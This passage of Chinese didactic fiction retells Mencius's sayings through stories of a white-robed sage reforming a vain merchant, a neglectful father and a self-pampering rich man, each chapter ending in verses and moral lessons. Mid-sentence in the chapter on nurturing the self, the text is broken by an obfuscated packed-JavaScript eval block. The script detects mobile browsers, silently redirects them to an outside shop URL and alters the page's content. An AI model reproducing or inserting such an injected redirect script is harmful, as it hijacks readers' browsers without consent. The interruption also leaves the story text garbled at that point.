求放心非玄虚，是日常功夫 - 深层隐喻：教育根本在教人“求放心”，非填塞知识 - 终极指向：人人皆有本心，只需肯回头、肯求索 放心偈： 乾元二年洛州秋，朱公失鸡闹不休。 白衣振聩明放心，草堂静坐悟回头。 鸡犬放外尚知觅，心放利名竟忘收。 至今心灯碑前月，犹照行人问沉浮。 后世叹： 大凉洛州朱氏门，失鸡求索动四邻。 白衣指心破迷障，士民静坐洗尘昏。 放心容易求心苦，回光艰难守真淳。 莫道圣贤遥难及，一念肯求即道存。 正是： 洛州富户失鸡喧，白衣论心醒愚惛。 鸡犬放外尚知觅，仁义舍焉竟忘源。 静坐草堂观呼吸，回光尘镜鉴本源。 至今心灯碑犹在，长照人间放心魂。 37. 屈指谳 楔子屈指记 大燕景隆四年，青州有富商姓金，名如玉，家财万贯，然右手无名指微屈，不能伸直。为此遍访名医，自幽州至交趾，三载不辍。有医者云：“此指屈而不伸，于饮食起居无碍，何苦奔波？”金如玉怫然：“指不若人，吾深恶之！便赴天涯海角，亦要治之。” 是岁秋，闻西陲有神医，擅正骨，金如玉携重金往求。途经云梦泽，遇暴雨，避入荒庙。庙中有数乞儿围火取暖，见金翁锦袍玉带，纷纷侧目。 金翁嫌其污秽，远坐廊下，自怀中取出丝帕，反复擦拭屈指，长吁短叹。 忽闻佛龛后有人诵： “指不若人则知恶，心不若人竟不觉。 可叹世上金如玉，秦楚路远为指拙。” 金翁惊起：“何人？” 但见一白衣人自梁上飘落，斗笠面纱，背负木剑，襟袂飘飘，不沾尘埃。 一、 屈指与屈心 金如玉打量来人，蹙眉道：“阁下适才所言，是讥老朽乎？” 白衣人倚柱而立：“不敢。只是想起孟子一言：‘今有无名之指屈而不信，非疾痛害事也，如有能信之者，则不远秦楚之路，为指之不若人也。’今见翁为屈指奔波万里，正合此境。” 金如玉傲然：“爱美恶丑，人之常情。此指虽不碍事，然宴饮之间，宾客观之，多有窃议。老夫千金之躯，岂容微瑕？” “善哉！”白衣人拊掌，“翁恶指之不若人，不惜跋涉。然则——”话锋一转，“若心不若人，翁亦知恶乎？” 金如玉一怔：“心…心如何不若人？” 白衣人踱至火堆旁，指一老乞儿：“此老丈今年六十有二，三日前拾得钱袋，内藏纹银五十两，苦候失主整日，终全璧归还。翁可能为？” 金如玉面颊微抽：“这…区区五十两…” “非关银两，关乎心。”白衣人声朗朗，“孟子曰：‘指不若人，则知恶之；心不若人，则不知恶。此之谓不知类也。’今翁之指，不过形貌微瑕；而翁之心——”他直视金如玉，“可有此老丈之廉？” 金如玉汗出，强道：“老夫营商，向来公道…” “去年腊月，翁贩米至涿州，恰逢雪灾，米价飙涨。翁囤米不售，待价而沽，有贫妇跪求一斗米救垂死幼儿，翁以‘市价’拒之。三日后，妇与子皆冻毙。可有此事？” 金如玉如遭雷击，连退三步：“你…你怎知…” “翁不必问我怎知。”白衣人叹息，“我只问翁：指屈，不过形秽；心屈，乃成德亏。今翁为形秽奔波万里，对德亏却安之若素，此非‘不知类’乎？” 满庙寂然，唯闻柴火哔剥。众乞儿皆瞪大眼，看这锦衣翁面色由红转白，由白转青。 老乞儿忽开口：“这位爷，小老儿多嘴一句：指头弯了，别人看见；心弯了，自己知道啊。” 金如玉浑身一颤，扶柱方能立稳。 二、 三不若 白衣人自怀中取出一卷泛黄帛书，就火光展开，上书《孟子》章句。他指“心不若人”四字： “今我为翁说‘三不若’，翁可自省。” “一不若：廉。” 白衣人指老乞儿，“此老拾金不昧，翁可能及？” 金如玉垂首。 “二不若：仁。” 白衣人指一少年乞儿，“此子前日分半块饼与垂死野犬，翁见饥民，可肯分半碗粥？” 金如玉冷汗涔涔。 “三不若：义。” 白衣人指庙外雨幕，“此番西行，翁车马仆从数十人，有老仆病重，翁嫌拖累，弃之于野店，可曾遣人照料？” 金如玉扑通跪地，以袖掩面：“别…别说了…” 白衣人收帛，温言：“非我刻薄，是翁不自知耳。指不若人，一目了然，故翁深恶；心不若人，隐而不显，故翁不察。此正是孟子所叹‘不知类’——不知轻重类比，不辨本末缓急。” 此时庙外雨歇，新月破云。白衣人推开破门，月光洒入，照见金如玉涕泪纵横。 “翁且看，”白衣人引金翁至檐下，指其影，“此影有屈指否？” 金如玉茫然摇头。 “是了。形骸之瑕，影中不显；心性之亏，却刻于魂神，昼夜相随。翁恶形瑕而忘神亏，岂非舍本逐末？” 金如玉终于崩溃，伏地大哭：“先生…先生教我！我这心…该如何治？” 白衣人扶起他：“指屈，求医可治；心屈，求己可医。翁愿治心否？” “愿！万死愿！” 三、 治心方 白衣人不语，走至庙中残破的土灶前，以木枝书地，开出一“方”： “治心方 君药：忏悔一味，剂量：至诚 臣药：改过三斤，须实心实意 佐药：行善五车，莫问前程 使药：静坐半生，常观此心 忌：饰非、文过、自欺 宜：知耻、勇猛、持久” 书毕，道：“此方无价，然难在持久。翁可能持？” 金如玉凝视药方，忽然撩袍，对众乞儿深深一揖：“金某往日为富不仁，今日在各位面前立誓：自此洗心革面，若再亏心，天地不容！” 老乞儿慌忙扶起：“使不得！金翁快快请起。” 白衣人颔首：“誓言易发，践行难持。翁且从眼前起——”他指庙中漏处，“此庙破败，翁可愿修葺？” “愿！” “此数位乞儿，翁可愿安置？” “愿！” “涿州冻毙母子，翁可愿补偿？” 金如玉一怔，随即道：“我…我亲往涿州，寻其家人，养老送终！” 白衣人这才露笑：“善。然翁且记：此行非为赎罪求安，是真心悔过。若存‘将功补过’之心，便是以善行饰旧恶，如以香粉掩腐疮，终会溃烂。” 金如玉肃然：“谨受教。” 是夜，金如玉与乞儿们同宿破庙，分食干粮。次日，遣散大半仆从，只留三辆马车，载乞儿们同返青州。临行前，他伸出屈指，对白衣人道：“此指…” 白衣人执其手，轻轻一捋。说也奇，那屈了数十年的无名指，竟“嗒”一声轻响，缓缓伸直了。 金如玉目瞪口呆。 “指本无恙，是翁心结作祟。”白衣人微笑，“心结既解，指自伸。然翁需谨记：此指可伸，是因翁愿治心。若他日心又屈了，只怕指亦会再屈。” 金如玉拜谢：“某必以心为鉴，不敢再屈！” 车马远去。白衣人独立荒庙前，忽闻身后有声：“先生真乃神人。” 却是那老乞儿未走，跪地叩首。 白衣人扶起：“老丈请起。您前日拾金不昧，便是心不屈。心不屈，虽衣不蔽体，亦是顶天立地。” 老乞儿泪涌：“小老儿…小老儿只是不忍…” “不忍，便是仁心。”白衣人正色，“孟子之教，不过唤醒此‘不忍’之心。世人多如金翁，重形轻心。愿老丈永保此心。” 言罢，踏草而去，歌曰： “指屈不过形骸病， 心屈才是膏肓疾。 秦楚奔波治指拙， 何曾回光问心亏？ 但得知耻即良药， 不必远求扁鹊医。 心若堂堂指自直， 青天明月两不欺。” 歌声渐杳，老乞儿独立良久，忽觉胸中暖意盎然。 四、 伸直录 金如玉归青州，果修葺荒庙，取名“醒心庙”。安置众乞儿，有愿归乡者赠银，愿留者予业。又亲赴涿州，苦寻三月，找到冻毙妇人之父，奉养如亲。更散家财之半，设“润心堂”，专济贫苦，立规“不问来历，不索回报”。 青州人初疑其伪，日久见其诚，皆叹“金翁脱胎换骨”。 景隆六年春，有游方郎中过青州，闻金翁旧疾，特来拜会。见金翁手，讶道：“翁指曾屈，今何以伸？” 金翁笑而不答，示以“治心方”。郎中大悟，拜曰：“此方胜我金针，可治天下屈心人。” 是年旱，米价又涨。昔日米商皆囤积，独金如玉开仓平价，更设粥棚。有旧友讽：“兄台矫枉过正。”金翁正色：“非矫饰，是真心。昔日心屈，今日求伸而已。” 至秋，润心堂前聚乞儿数十，皆愿务工自食。金翁设“直心工坊”，教以技艺。一少年学得木工，为金翁雕一手像，五指皆直，掌托“心”字。 金翁悬像于堂，题曰： “指屈易见，心屈难知。 但得 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归而自省，忏悔改过，十年乃得心安。今立此碑，警我后人及见者：指不若人，不过形陋；心不若人，实为德衰。 形陋可见，德衰难知。故当时时拂拭此心，莫使屈而不伸。心直，则形曲何妨？心屈，则形直亦丑。” 碑成，常有父母携顽童来，抚碑问：“儿可能见心中屈直？”童茫然。父母曰：“见你指上泥乎？心屈如指染泥，初不觉，久成垢。当勤洗拭。” 后十年，有贪官过青州，见碑文，嗤之以鼻。夜梦金翁来，执其手曰：“君心屈矣。”贪官惊醒，扪心汗出，次日辞官归乡。人问其故，曰：“恐心屈不可治。” 又十年，有富贾骄横，辱骂佃户。佃户不争，但引至碑前，指“心不若人”四字。富贾观之，默然良久，竟向佃户揖谢。自此改行善事，人问之，曰：“彼佃户心直，我心曲，实不若人。” 大燕仁和三年，青州大疫，润心堂施药，活人无算。有染疫者拒药，曰：“我命贱，不费公药。”主事正色：“心无贵贱，但论曲直。君心直，当活。”疫者泣受。 自此，青州有谚：“指屈可医，心屈无治。”小儿斗口，辄言：“你心屈！”对方必惭。 而醒心庙香火不绝，非求神佛，乃为“醒心”。每至朔望，士民聚于直心碑前，互问：“君心可直？”答曰：“勉力为之。” 有游方僧至此，见碑下常有清水一钵，花瓣数片，问何意。守庙童子曰：“心镜蒙尘，以水拭之；心田枯槁，以花润之。” 僧叹：“但得此心常直，何须远拜西天？” 掬水饮之，甘冽入心。 本章诫世 一、 形心之辨 - 世人重形貌瑕疵，轻心性亏缺，是本末倒置 - 破解法：见人形陋莫讥，见己心屈当惕 - 示例：金如玉为屈指奔波万里，对亏心害命安之若素 二、 不若之悲 - 指不若人则知恶，心不若人竟不知，是人性迷障 - 惕世：多少人在修饰皮囊，却任心性蒙尘？多少人对镜贴花，不敢对心自照？ - 反思：可曾为衣冠不整而恼，却对言行有亏坦然？ 三、 治心之方 - 心屈非不治，需忏悔、改过、行善、自省 - 深层隐喻：教育当教人治心，非只治标 - 终极指向：心直则形端，心屈则形胜何益 屈指偈： 景隆四年秋雨绵，金翁为指走秦川。 白衣庙中指心屈，乞儿火畔显廉坚。 指屈易见求万里，心屈难知竟晏然。 至今直心碑下水，犹照行人省媸妍。 后世叹： 大燕青州金氏翁，屈指求医西复东。 白衣说破形心辨，乞儿彰显廉耻风。 指不若人知厌恶，心输仁义竟盲聋。 幸得回光返照处，直心碑下悟穷通。 正是： 富商屈指走天涯，心屈浑然不自嗟。 幸有白衣明镜语，能教愚顽醒眼瞎。 指拙可求扁鹊术，心亏须用己身砭。 至今醒心庙前月，犹照人间正与斜。 38. 养身谳 楔子桐下叟 大晋天祐二年，淮安有富户陈员外，于后园手植梧桐、梓木各一株，皆拱把粗细。晨昏浇水，岁岁修枝，遇虫治虫，逢旱架棚。十年后，双木参天，浓荫蔽日。陈员外常抚树干笑曰：“吾桐梓若子也！” 其独子名陈养浩，年十六，面黄肌瘦。陈员外斥之：“终日病恹，不如吾木！”延医问药，皆不持久。一日，有游方道人见养浩，叹曰：“公子非身病，乃心病。心气郁结，如木遭蠹。” 陈员外嗤之：“吾子锦衣玉食，何来郁结？”仍专心伺木。 是年秋，养浩呕血昏厥。陈员外急召名医，医者把脉良久，摇首：“公子五内如焚，是忧思过度，精气耗竭。恐非药石可医。” 陈员外大恸，抱子泣曰：“吾养木成材，何以养子至此？” 忽闻庭中有人朗声：“员外爱桐梓，皆知所以养之；至于身，而不知所以养之，岂爱身不若桐梓哉？” 众惊顾，见一白衣人倚桐而立，斗笠面纱，木剑负背，手中正拈一片桐叶。 一、 养木经 陈员外拭泪起身：“阁下何人？安敢妄言！” 白衣人缓步近前，示以桐叶：“员外看此叶，可有虫蠹？” 叶面光洁，纹理分明。 “无。” “叶脉可畅？” “畅。” “此乃员外养木之功。”白衣人颔首，“然养木之法，员外可知其要？” 陈员外傲然：“如何不知？一日三看水，十日一施肥，见虫即除，遇风则护。” “善。”白衣人话锋一转，“然养人之法，员外可知？” “人…人非草木，自是衣食温饱…” “谬矣！”白衣人声转清越，“孟子曰：‘拱把之桐、梓，人苟欲生之，皆知所以养之者。至于身，而不知所以养之者，岂爱身不若桐梓哉？弗思甚也。’今员外养木，知水、肥、光、风、虫五要；养子，但知衣食二事。此非爱子不若木，是弗思甚也！” 陈员外面红耳赤：“你…你倒说说，养人需何法？” 白衣人走至养浩榻前，三指虚按其腕，闭目片刻：“令郎之症，在五不养。” “何为五不养？” “一不养心。”白衣人睁眼，“员外望子成龙，自其蒙学，日课十时，夜读三更。稍有懈怠，呵斥随之。此是拔苗助长，心田早涸。” 陈员外语塞。 “二不养气。”白衣人续道，“令郎好诗文，员外谓‘无用’；慕侠义，员外斥‘荒唐’。志气不伸，如木遭缠，焉能不萎？” “三不养情。”白衣人指窗外，“令郎有友来访，员外嫌贫拒之；有婢善解意，员外恐分心，逐出府门。孤绝如盆木，无风雨润泽。” “四不养趣。”白衣人叹，“令郎爱观星，员外拆其观星台；喜饲雀，员外焚其雀笼。生趣尽灭，如木断根。” “五不养神。”白衣人正色，“终日困于书斋，不见山川，不闻天籁，神如笼鸟，翅折难飞。此五不养，纵有参汤灵芝，不过续命，难救根本。” 一席话，说得陈员外冷汗涔涔，跌坐椅中。 白衣人自袖中取出一卷帛书，展于案上，竟是《孟子》章句抄本，朱笔圈点“养身”二字。 “员外看，孟子所言‘养身’，非养血肉躯，是养仁义心、浩然气、中和情、天然趣、清朗神。今员外以养木之法养木，而以囚笼之法养人，岂不悖谬？” 陈员外伏地泣道：“先生救我儿！” 二、 五养方 白衣人扶起陈员外：“救令郎，需用‘五养方’。然此方无药，需员外自为。” “请先生明示！” 白衣人取笔濡墨，就《孟子》抄本边白处，写下五方： “养心方： 去苛责，存宽和。 顺其性，导其善。 如木向阳，莫强扭。” “养气方： 许其志，壮其怀。 读万卷亦需行万里， 如木经风，干乃坚。” “养情方： 容其友，纳其善。 人间温暖如春雨， 孤木无伴难参天。” “养趣方： 存其好，护其真。 观星饲雀皆生趣， 根深方得叶葳蕤。” “养神方： 开窗牖，见天地。 神游八极气自华， 室木移野必森然。” 书毕，对陈员外道：“此五方，员外能持否？” “能！必能！” “非但持，需化入日常。”白衣人指庭中桐梓，“员外养木，知其需阳光雨露，故不置暗室。养人亦需知其所求——令郎所求，非锦衣玉食，是心宽、气壮、情暖、趣真、神畅。今我开一剂引子…” 他走至养浩榻前，轻声道：“公子可爱桐荫？” 养浩虚弱睁眼，微颔。 “可想见星？” 泪涌。 “可念故友？” 哽咽不能言。 白衣人转身：“员外听见了？从今日起，移榻桐下，夜观星，昼会友，诗书随意，三年不赴科考。可愿？” 陈员外咬牙：“愿！只要吾儿康复…” “非但康复，且要成才。”白衣人正色，“木在盆中，终生不过拱把；人在笼中，永难昂首天地。员外若能以养木之心养子，以敬木之礼敬人，则令郎之材，必不逊此双木。” 言罢，木剑出鞘，在桐树干上刻： “养木皆知水肥功， 养人何止衣食丰？ 心气神情趣五养， 参天材在方寸中。” 刻痕入木三分，渗出清汁，如泪。 三、 桐荫养 陈员外果移子榻于桐下。初时，养浩仍萎靡。白衣人每日辰时至，不诊脉，不施药，但与养浩闲话。 第一日，说桐：“此木初植，不过拱把。员外日观其长，夜忧其枯，十年乃成荫。人亦如木，生长有时，不可骤催。” 养浩默然。 第二日，说梓：“梓木宜琴瑟，然需百年之养。今人斫木求速，三年成器，声必嘶哑。养人求速，亦如此。” 养浩目有微光。 第三日，白衣人携一囊，中皆树种：松、柏、槐、柳、榆…散于庭中，道：“此诸木，各有其性。松耐寒，柳喜水，柏向阳，榆不择地。养木需顺其性，养人亦需因材施教。公子性近何木？” 养浩指槐：“此木…荫广。” “善，槐荫庇人，是仁者心。”白衣人抚其额，“公子志在庇人，何必强为松柏参天？” 养浩泪下：“父…父欲我为松柏…” “松柏固佳，槐榆亦美。”白衣人温言，“今你父已悟。你可自在生长。” 自第四日起，养浩渐进食。陈员外果不迫其读书，反购《山海经》《水经注》诸书，置榻边。又邀昔日被逐婢女小荷归，此女善琴，常于桐下轻抚。 旬日，养浩可坐起。小荷琴韵中，他忽吟：“桐叶碧，梓花香，一榻清风日月长…” 陈员外闻之，暗泣于室。 白衣人又引养浩故友来访。有贫士子周文，昔因衣敝被拒，今陈员外亲迎入座。文与养浩谈诗论文，养浩面上渐有血色。 一月后，养浩可下榻缓行。常与周文对弈桐荫，与仆童饲雀，夜则仰观星象，自绘星图。 白衣人时来观之，但笑不语。某日，指养浩所绘星图：“此心已游天外，神得养矣。” 又指其与仆童嬉戏：“此情得润。” 再指与周文辩难：“此气得伸。” 终指其抚桐长吟：“此趣得真，心得宽。五养俱全，疾自瘳矣。” 果三月，养浩面转红润，体渐丰实。非但病愈，目中有光，言谈从容，竟有林下之风。 四、 材成记 秋深，桐叶落。养浩已健步如飞，日与周文游学四乡，访贫问苦。见有孤寡，归禀其父，赠米赠衣。陈员外欣然：“吾儿知仁矣。” 一日，乡中疫起。养浩率仆设棚施药，亲尝汤剂，抚慰病者。有老妪垂危，养浩守三昼夜，竟得生还。乡人感泣，称“小陈善人”。 白衣人暗观，颔首谓陈员外：“令郎此疾，生生于‘仁不得施’。今仁心发露，如木得雨，自然勃发。员外看，此非胜于参汤灵芝？” 陈员外拜谢：“非先生，吾几杀吾子！” “非我之功，是孟子之言醒人。”白衣人正色，“世人多如员外，养物精心，养人粗心。于花草虫鱼，知寒暖燥湿；于子女自身，但知鞭策驱驰。此谓爱物过身，惜形忘神。愿员外自此推广——待仆役，知养其力更养其心；待乡邻，知济其贫更慰其情。则一家仁，一乡兴。” 陈员外凛然受教。 腊月，养浩聚乡童于桐下，授《千字文》。有童愚钝，养浩不责，反以桐叶为喻：“此叶初生，亦蜷曲。待日照雨润，自舒展。你且缓学，必有大成。”童泣拜。 白衣人见之，对陈员外道：“此谓养人之道，已得薪传。” 除夕，陈府设宴，不请贵客，但邀乡老、佃户、昔年乞儿。席间，养浩抚琴，小荷歌曰： “桐荫深深护稚芽， 春风化雨润贫家。 但得仁心常养护， 人间何处不芳华。” 满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088190|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座感泣。白衣人忽举杯：“吾当去矣。临别有赠。” 取木剑，于庭中青石板上，刻“养身”二字，深可寸许。又于旁刻小注： “养身非养形， 养心乃养生。 心气神情趣， 五养可成仁。 桐梓犹需护， 人子岂不珍？ 愿君常思此， 莫作懵懂人。” 刻毕，掷剑于地，竟入石三寸，直立如碑。 “此剑留此，见剑如见我言。”白衣人长笑，振衣而去，踏月歌曰： “世人爱桐梓，呵护如明珠。 及至身与子，但知饲饭蔬。 岂知养身道，首在养灵枢。 心宽气自壮，情暖神不枯。 趣真生妙悟，五养是良图。 愿君解此意，莫再哭遗雏。” 歌声袅袅，人已不见。 尾声养身碑 陈员外以石为碑，建亭护之，名“养身亭”。养浩后不应试，专事教化，设“五养学塾”，收乡童，授以仁、义、礼、智，更重游艺、观物、养趣。十年间，淮安文风蔚然，礼让成俗。 天祐十五年，养浩卒，乡人葬之于桐下。其生前自题墓铭： “生为病木，幸遇春风。 五养既得，朽株亦荣。 今化春泥，更护新桐。 愿人知养，莫戕生生。” 陈员外寿至耄耋，临终执孙手曰：“吾养桐成材，几害子命；幸得回眸，以养木心养人，子竟成德。你等谨记：养人如养木，顺其性，润其根，予其光，耐其长。莫学吾当年，但知浇水，不通风日。” 孙辈皆泣受。 又三十年，养身亭朽，乡人重修，于亭侧掘井，名“五养泉”。井栏刻《孟子》“拱把桐梓”章，旁镌养浩“五养方”。每逢朔望，父母携子至泉前，掬水饮之，告曰：“此水养身，更养心。” 有顽童厌学，父不责，但引至古桐下，指树上白衣人刻字：“你见此桐乎？若无阳光雨露，安能参天？你心所需阳光雨露，父当予你。莫急，莫慌。” 童仰观桐荫如盖，若有所思。 时有游学士子过淮安，饮泉读碑，问乡老：“五养之道，真可育人乎？” 乡老指满乡葱茏：“君不见此乡子弟，多从容温厚，鲜有暴戾。非天生，是养之得法。昔年陈公子病木逢春，今我乡皆效其法——养心以宽，养气以壮，养情以暖，养趣以真，养神以畅。人得五养，如木得五候，自然欣欣。” 士子叹服，抄碑文以归。后任县令，以“五养”治县，不三年，邑内大治。有上司责其“宽纵”，县令对曰：“养民如养木，但予阳光雨露，自会向荣。若旦旦伐之，虽拱把之材，亦成枯桩。” 其语流传，竟成一方治道。 而古桐今犹茂，每至春，新叶萌发，飒飒作响。 似在说： 养啊，养啊。 莫只养其形。 要养那一点灵明，一缕生气，一片仁心。 本章诫世 一、 养木养人之悖 - 人精心养花草树木，却粗率养自身、子女，是本末倒置 - 破解法：待人之道，当细于待物；育子之心，当精于育木 - 示例：陈员外对桐梓呵护备至，对子但知衣食苛责 二、 五养之要 - 养身非养形骸，是养心、气、情、趣、神 - 惕世：多少“为你好”，实是戕害心性？多少“精心培养”，实是囚笼禁锢？ - 反思：可曾以养宠物的耐心养心？以修盆景的细致修德？ 三、 顺性成材 - 木有木性，人有人性，顺之则荣，逆之则萎 - 深层隐喻：教育本质是提供生长环境，非强扭形态 - 终极指向：人人皆可成材，只需得宜养护 养身偈： 天祐二年淮安秋，陈氏养木如养璆。 子病求医竟罔效，白衣论养醒愚瞀。 心气神情趣五要，桐荫星友药一抔。 至今养身亭下水，犹润行人枯槁眸。 后世叹： 大晋淮安陈氏园，桐梓参天荫满轩。 养木精心子垂死，白衣指要人更蕃。 顺性乃知生长乐，宽怀方得气象尊。 至今五养泉边月，犹照人间父母惇。 正是： 陈氏庭前桐梓嘉，养如珍宝护如娃。 子病求医终不愈，客来论养始知差。 心宽气壮神方畅，情暖趣真疾自瘥。 愿效养木养人法，莫将良材斫作杈。 39. 贵贱谳 楔子指背喻 大齐永昌七年，江陵有富商胡员外，家资钜万，尤爱保养。每日卯时起，以牛乳浸面，珍珠粉敷肤，又命婢女以玉轮推揉周身，自谓“无尺寸之肤不养也”。 是年夏，胡员外右手中指生一疔，大如赤豆，痛痒难当。急召全城名医，内服外敷，日耗百金。为免疤痕，竟悬手于帐，三月不沾水。 时有老友来访，见其状，哂曰：“兄台养一指若此，可曾养心？”胡员外不悦：“心在腔内，如何养得？兄不见我面如冠玉乎？” 一日，胡员外对镜顾盼，忽觉左肩背酸胀，不以为意。数日后，背生恶疮，大如碗口，高热昏聩。医者曰：“此痈疽内发，毒侵膏肓，恐难治矣。” 妻妾环泣，胡员外于昏迷中呓语：“吾指…不可留疤…” 忽闻窗外有人朗笑： “养其一指失肩背， 世间多少狼疾人！ 尺寸之肤皆顾惜， 膏肓已溃竟不闻。” 众惊视，见一白衣人倚窗而立，斗笠面纱，木剑斜挎，手中拈着一片梧桐叶。 一、 体有贵贱 胡家长子怒斥：“何人擅闯？” 白衣人飘然入室，径至榻前，三指虚按胡员外腕脉，摇首道：“员外爱身，可谓至矣。然体有贵贱，养有大小。今舍贵养贱，顾小失大，正是孟子所谓‘狼疾人’也。” 长子不解：“何谓狼疾？” 白衣人自袖中取出一卷竹简，展之，乃《孟子》章句。指其中一行： “孟子曰：‘人之于身也，兼所爱。兼所爱，则兼所养也。无尺寸之肤不爱焉，则无尺寸之肤不养也。’此谓本心。” 又指下一行： “然则，‘体有贵贱，有小大。无以小害大，无以贱害贵。养其小者为小人，养其大者为大人。’此谓关键。” 再指： “‘今有场师，舍其梧檟，养其樲棘，则为贱场师焉。养其一指而失其后背，而不知也，则为狼疾人也。’此谓员外如今之症。” 满室寂然。白衣人合简，叹道： “员外养肤，可谓无微不至，此是‘兼所养’。然只养皮肉，不养五脏；重养一指，不养肩背。此是‘以小害大，以贱害贵’。譬如有园丁，不养护梧桐、楸树等良材，反费心修剪酸枣、荆棘等杂木，便是下等园丁。今员外养一指而溃肩背，不正如是？” 胡妻泣道：“先生可有良方？” “方在孟子书中。”白衣人正色，“员外之疾，非药石可医，乃在取舍不明。今愿效扁鹊见蔡桓公故事，为员外一诊。” 遂以木剑虚点胡员外周身： “此处，肝区郁结。员外为三厘利，逼死佃户张三，可有？” 长子色变。 “此处，心脉淤塞。员外为夺祖产，气死胞弟，可有？” 胡妻颤栗。 “此处，肺经焦枯。员外为避税赋，焚毁账册，累及无辜伙计下狱，可有？” 仆婢皆垂首。 “此处，肾水枯竭。员外年过五旬，纳妾七人，旦旦伐之，可有？” “此处，脾胃壅滞。员外日食山珍，夜饮醇醪，贪饕无度，可有？” 白衣人每指一处，胡员外虽昏迷，身躯必一震。及至最后，白衣人点其背疮： “此痈疽，乃五脏毒火外发。员外但知养一指之肤，不知养五脏之神；但顾容貌之贱，不顾心性之贵。今毒发膏肓，是五脏皆叛矣！” 言罢，问长子：“今有一方，可救员外。然需刮骨疗毒，去腐生新，汝家愿从否？” 长子伏地：“但求救父！” 二、 刮骨方 白衣人命取纸笔，书一方： “刮骨疗毒方 君药：忏悔一斤，需真材实料 臣药：改过三斗，须脱胎换骨 佐药：补偿五车，必诚心实意 使药：修心十年，莫要再犯 忌：饰非、推诿、欺心 宜：勇猛、精进、持久” 书毕，道：“此方不治背，治心。心毒去，背疮自消。” 长子茫然：“如何…如何用法？” “第一步，忏悔。”白衣人指胡员外，“需员外亲口忏悔诸恶。然他昏迷，可取其指血，书罪于帛，焚以告天。” 胡妻急道：“指上疔刚愈，岂可放血？” 白衣人厉声：“宁保一指，愿失性命乎？此正是‘养其一指而失肩背’之惑！” 长子咬牙，取针刺父中指，挤血数滴，书父罪十余条。书毕，白衣人命于庭中焚之。青烟起时，胡员外竟呻吟转醒。 “第二步，改过。”白衣人命扶员外坐起，问：“员外可愿改？” 胡员外气若游丝，但颔首。 “第三步，补偿。”白衣人取罪状副本，“逼死佃户，当抚其遗孤；气死胞弟，当让还祖产；累及伙计，当救其出狱；苛待仆婢，当还其自由。可愿？” 胡员外泪流，竭力道：“愿…尽我所有…” “第四步，修心。”白衣人缓声道，“自此节饮食，寡嗜欲，宽待人，厚施舍。十年之内，不可再犯。” 胡员外挣扎欲起，白衣人止之：“且慢，尚有一事。”取铜镜置其前，“员外看，此背疮可怖否？” 胡员外侧目，见疮口溃烂，几可见骨，骇然欲绝。 “再看此指。”白衣人执其右手中指，三月将养，果细腻如初，毫无疤痕。 “员外三月养此指，耗金数千，终得完美。然背生碗口疮，性命垂危，竟浑然不觉。此非‘狼疾’而何？” 胡员外大恸：“某…某知罪矣！” “知罪便好。”白衣人取金针，“今为员外刮骨疗毒，痛彻骨髓，愿忍否？” “忍！” 白衣人施针，剜去腐肉。胡员外咬巾闷哼，汗出如浆。然奇者，每剜一片，白衣人必问一桩罪愆，胡员外必答“我改”，竟不觉痛。 及至腐肉尽去，敷以草药，胡员外竟神志清明，背疮痛楚大减。 白衣人洗净手，道：“员外今知贵贱否？” “知矣！心性为贵，形骸为贱；仁德为大，私欲为小。” “善。”白衣人颔首，“然知行需合一。今我留一言，员外每日诵之。” 取笔于纱帐题： “体有贵贱分，心贵形骸轻。 养小终成小，养大方为明。 莫学狼疾人，指背不分明。 但得心性净，何处不康宁？” 题罢，对胡员外道：“员外之疾，半在身，半在名。今需舍名疗疾，可敢？” “敢！” 三、 舍名记 三日后，胡员外可坐起，即命长子： 一、 访佃户张三遗孀，赠田二十亩，银百两，认其子为义子，供读书。 二、 请胞弟之子归，当众焚毁祖产契约，全数归还，自请出族谱。 三、 携重金赴府衙，为冤狱伙计翻案，自承罪责。 四、 遣散七妾，各赠嫁资，愿留者以女待。 五、 开仓放粮，设“赎罪棚”，亲为饥民施粥。 江陵哗然。有笑其痴者，有疑其诈者，有病其狂者。胡员外皆不辩，但日诵帐上诗，背疮竟日愈。 旬日，可下榻。亲至“赎罪棚”，见饥民争抢，乃泣道：“胡某昔养一指，日费十金；今见饿殍，竟不施一文，真狼疾人也！”遂散家财三成，设“养心堂”，专济贫病。 又十日，背疮结痂。胡员外忽悟：“我昔养肤，但求人赞‘好颜色’；今行善，亦恐人讥‘假慈悲’。此心仍在养名，非养德也。”遂改“养心堂”为“默济堂”，赈济不记名，行善不留迹。 白衣人时来暗观，见其真改，乃现形贺：“员外今舍贱养贵，去小就大矣。” 胡员外拜谢：“非先生刮骨疗毒，某已死矣。今有一惑：我散财济人，家业日削，来日或至贫乏，岂非不智？” 白衣人笑指庭中梧桐、酸枣二树：“员外看，梧檟良材，樲棘杂木。若园丁尽废良材养杂木，是贱场师。然若尽伐良材，不事生产，亦是愚夫。养其大者，非弃小者，是要分明贵贱，知所先后。员外家业，正当经营，但取利以道，用之以义，便是养大不忘小，贵贱两全。” 胡员外恍然，乃重整家业，买卖公平，厚待佣工。获利则半济贫，半营生。不三年，“胡记”名声大振，人皆信其诚。 永昌十年秋，江陵大水。胡员外倾仓救灾，亲驾舟援溺。有少年落水，胡员外跃入急流救之，背疮旧痕浸水溃裂，竟不觉痛。 得救少年，恰是佃户张三之子。童子跪泣：“恩公背伤…” 胡员外大笑：“此非伤，是功勋章也！昔养一指，几丧命；今伤一背，救一命。贵贱大小，今方明矣！” 是夜，白衣人现于舟中，贺曰：“员外今为‘大人’矣。” 胡员外问：“何谓大人？” “养其大者为大人。”白衣人遥指江月，“员外昔养肤养名，是养小；今养心养德，是养大。孟子曰‘饮食之人，则人贱之矣，为其养小以失大也’。今员外岂止不贱，已成乡贤。” 胡员外再拜：“皆先生所教。” “非我所教，是孟子所言，你自悟得。”白衣人自怀中取一木匣，“临别赠此，望员外常省。” 匣开，乃一铜鉴，正面照人，背面刻《孟子》“贵贱”全章。 胡员外捧鉴，涕泪纵横。 